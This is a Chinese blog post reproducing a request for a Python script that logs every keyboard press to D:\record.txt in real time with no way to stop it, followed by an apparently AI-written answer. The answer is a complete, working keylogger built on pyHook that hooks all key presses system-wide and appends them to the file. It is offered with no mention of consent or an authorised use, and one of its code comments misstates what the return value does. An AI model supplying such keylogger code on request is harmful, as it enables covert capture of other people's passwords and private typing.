当前位置:   article > 正文

请编写一个 Python 脚本,记录键盘按键,并存储到D:\record.txt中。要实时记录实时保存,不需要退出条件。...

请编写一个 Python 脚本,记录键盘按键,并存储到D:\record.txt中。要实时记录实时保存,不需要退出条件。...

这是一个示例脚本:

  1. import pyHook
  2. import pythoncom
  3. import os
  4. def onKeyboardEvent(event):
  5. # 记录键盘按键
  6. with open(r"D:\record.txt", "a") as f:
  7. f.write(event.Key)
  8. # 返回 True 表示忽略此键
  9. return True
  10. # 创建钩子
  11. hm = pyHook.HookManager()
  12. hm.KeyDown = onKeyboardEvent
  13. hm.HookKeyboard()
  14. # 一直监听
  15. pythoncom.PumpMessages()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

这个脚本使用了 pyHook 库来监听键盘事件,并使用 Python 的 with 语句打开一个文件并将按键写入文件中。

注意,这个脚本无法终止,因为 pythoncom.PumpMessages() 会一直监听键盘事件。如果你想终止脚本,可以使用其他方法,比如按特定的组合键或者使用多线程。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Cpp五条/article/detail/272417
推荐阅读
相关标签
  

闽ICP备14008679号